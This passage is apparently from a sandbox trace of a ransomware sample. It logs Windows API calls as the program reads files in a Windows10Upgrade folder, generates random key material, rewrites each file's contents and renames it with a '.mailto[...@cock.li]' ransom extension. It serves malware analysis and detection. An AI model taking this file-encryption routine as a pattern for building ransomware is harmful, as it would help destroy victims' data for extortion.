	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x101) returned 0x500ce18
	[0086.350] SetFilePointerEx (in: hFile=0x18f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.350] WriteFile (in: hFile=0x18f4, lpBuffer=0x500ce18*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x2993f7a8, lpOverlapped=0x0 | out: lpBuffer=0x500ce18*, lpNumberOfBytesWritten=0x2993f7a8*=0x101, lpOverlapped=0x0) returned 1
	[0092.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500ce18) returned 1
	[0092.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0092.856] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0092.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0092.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0092.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a58) returned 1
	[0092.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781a80) returned 1
	[0092.857] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781b20) returned 1
	[0092.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x9a) returned 0x2d7f7a8
	[0092.857] wcscpy (in: _Dest=0x2d7f7a8, _Source="C:\\Windows10Upgrade\\resources\\ux\\eula.css" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\eula.css") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css"
	[0092.857] wcscat (in: _Dest=0x2d7f7a8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.857] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2993f760, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\eula.css.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.857] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb0) returned 0x481bda0

Thread:
	id = 1190
	os_tid = 0x1f0c

	[0086.349] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png")) returned 0x20
	[0086.349] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png", dwFileAttributes=0x20) returned 1
	[0086.351] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18f8
	[0086.352] GetFileSizeEx (in: hFile=0x18f8, lpFileSize=0x299bfedc | out: lpFileSize=0x299bfedc*=3824) returned 1
	[0086.352] SetFilePointerEx (in: hFile=0x18f8, liDistanceToMove=0xeec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.352] ReadFile (in: hFile=0x18f8, lpBuffer=0x299bfe60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x299bfe5c, lpOverlapped=0x0 | out: lpBuffer=0x299bfe60*, lpNumberOfBytesRead=0x299bfe5c*=0x4, lpOverlapped=0x0) returned 1
	[0086.353] SetFilePointerEx (in: hFile=0x18f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77010
	[0086.354] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.354] NtQuerySystemTime (in: CurrentTime=0x299bfe3c | out: CurrentTime=0x299bfe3c*=132251868130850576) returned 0x0
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x2ea90a67
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xde1f0894
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x4d529316
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x96e8e584
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x71209724
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x97c04073
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x720957cd
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xc61c382f
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xb7dd132c
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x4279e202
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xa7d691fe
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x1b4293d6
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x4209578d
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xb461c568
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xf530aab3
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xb0f80277
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xf534d2c6
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x47f21775
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xb2105c2d
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x9039ac40
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x2713ddf
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xbb184e79
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xb05bf7f8
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x8ed00099
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xb2e5e2a
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xa87260f
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0x36954f24
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xf3f268a
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xe4401a4d
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xcb24acb
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xc334851d
	[0086.354] RtlRandom (in: Seed=0x299bfe48 | out: Seed=0x299bfe48) returned 0xeaa1968b
	[0086.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d77100
	[0086.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d772b8
	[0086.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0086.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.363] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.363] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.363] ReadFile (in: hFile=0x18f8, lpBuffer=0x504b048, nNumberOfBytesToRead=0xef0, lpNumberOfBytesRead=0x299bfe38, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x299bfe38*=0xef0, lpOverlapped=0x0) returned 1
	[0086.363] SetFilePointerEx (in: hFile=0x18f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.364] WriteFile (in: hFile=0x18f8, lpBuffer=0x4f9afc8*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x299bfe34, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesWritten=0x299bfe34*=0xef0, lpOverlapped=0x0) returned 1
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76f20
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x4e612e8
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x29) returned 0x4e61240
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04ae0) returned 1
	[0086.365] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.365] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10d) returned 0x2d88ff0
	[0086.365] SetFilePointerEx (in: hFile=0x18f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.365] WriteFile (in: hFile=0x18f8, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x10d, lpNumberOfBytesWritten=0x299bfe9c, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x299bfe9c*=0x10d, lpOverlapped=0x0) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e61240) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76d40) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e612e8) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d76f20) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77010) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77100) returned 1
	[0093.389] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d772b8) returned 1
	[0093.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d61790
	[0093.389] wcscpy (in: _Dest=0x2d61790, _Source="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png"
	[0093.389] wcscat (in: _Dest=0x2d61790, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0093.389] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x299bfe54, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0093.389] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x49263f0

Thread:
	id = 1191
	os_tid = 0x1f10

	[0086.353] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png")) returned 0x20
	[0086.353] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png", dwFileAttributes=0x20) returned 1
	[0086.353] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18fc
	[0086.364] GetFileSizeEx (in: hFile=0x18fc, lpFileSize=0x29a3f988 | out: lpFileSize=0x29a3f988*=4067) returned 1
	[0086.364] SetFilePointerEx (in: hFile=0x18fc, liDistanceToMove=0xfdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.364] ReadFile (in: hFile=0x18fc, lpBuffer=0x29a3f90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x29a3f908, lpOverlapped=0x0 | out: lpBuffer=0x29a3f90c*, lpNumberOfBytesRead=0x29a3f908*=0x4, lpOverlapped=0x0) returned 1
	[0086.367] SetFilePointerEx (in: hFile=0x18fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d6e250
	[0086.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47830
	[0086.367] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47998
	[0086.367] NtQuerySystemTime (in: CurrentTime=0x29a3f8e8 | out: CurrentTime=0x29a3f8e8*=132251868131007395) returned 0x0
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x204fd6b1
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x3dcc7a9b
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xf69c823b
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xa5ce7b49
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x89a6771a
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x372d0f86
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xc5034f47
	[0086.367] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xfa00b5b2
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x23b42fc3
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x86e13c7
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xbccf4acb
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xf1e19979
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x9286d1a4
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xa3bfdc86
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x457d284f
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x71b5c406
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x3fb22ac2
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xb4fb329a
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x1223d614
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x56911763
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x82f56c9d
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x694e224b
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xeac95058
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xd9fb4cbe
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x21e09185
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x5e4a091c
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xf815c42c
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x55f69a8
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x8de0184d
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xa0e0db58
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0x99a276aa
	[0086.368] RtlRandom (in: Seed=0x29a3f8f4 | out: Seed=0x29a3f8f4) returned 0xd31f9ad9
	[0086.375] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bc8
	[0086.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47bf0
	[0086.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0086.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d6e250) returned 1
	[0086.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb540
	[0086.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e478a8
	[0086.377] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e478a8) returned 1
	[0086.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.377] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.377] ReadFile (in: hFile=0x18fc, lpBuffer=0x504b048, nNumberOfBytesToRead=0xfe3, lpNumberOfBytesRead=0x29a3f8e4, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x29a3f8e4*=0xfe3, lpOverlapped=0x0) returned 1
	[0086.377] SetFilePointerEx (in: hFile=0x18fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.377] WriteFile (in: hFile=0x18fc, lpBuffer=0x4f9afc8*, nNumberOfBytesToWrite=0xfe3, lpNumberOfBytesWritten=0x29a3f8e0, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesWritten=0x29a3f8e0*=0xfe3, lpOverlapped=0x0) returned 1
	[0086.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47a38
	[0086.378] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47998
	[0086.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0086.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0086.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0086.378] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb540) returned 1
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb588
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb660
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47998
	[0086.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47998) returned 1
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3b) returned 0x2dfb738
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b00
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e477e0
	[0086.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e477e0) returned 1
	[0086.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.379] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb660) returned 1
	[0086.379] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x11f) returned 0x2d62e78
	[0086.379] SetFilePointerEx (in: hFile=0x18fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.379] WriteFile (in: hFile=0x18fc, lpBuffer=0x2d62e78*, nNumberOfBytesToWrite=0x11f, lpNumberOfBytesWritten=0x29a3f948, lpOverlapped=0x0 | out: lpBuffer=0x2d62e78*, lpNumberOfBytesWritten=0x29a3f948*=0x11f, lpOverlapped=0x0) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d62e78) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb738) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47b00) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb588) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47a38) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47830) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bc8) returned 1
	[0093.391] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47bf0) returned 1
	[0093.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c960
	[0093.391] wcscpy (in: _Dest=0x4f2c960, _Source="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png"
	[0093.391] wcscat (in: _Dest=0x4f2c960, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0093.391] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x29a3f900, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0093.391] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e129e0

Thread:
	id = 1192
	os_tid = 0x1f14

	[0086.380] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif")) returned 0x20
	[0086.380] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif", dwFileAttributes=0x20) returned 1
	[0086.380] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1900
	[0086.380] GetFileSizeEx (in: hFile=0x1900, lpFileSize=0x29abfb18 | out: lpFileSize=0x29abfb18*=17395) returned 1
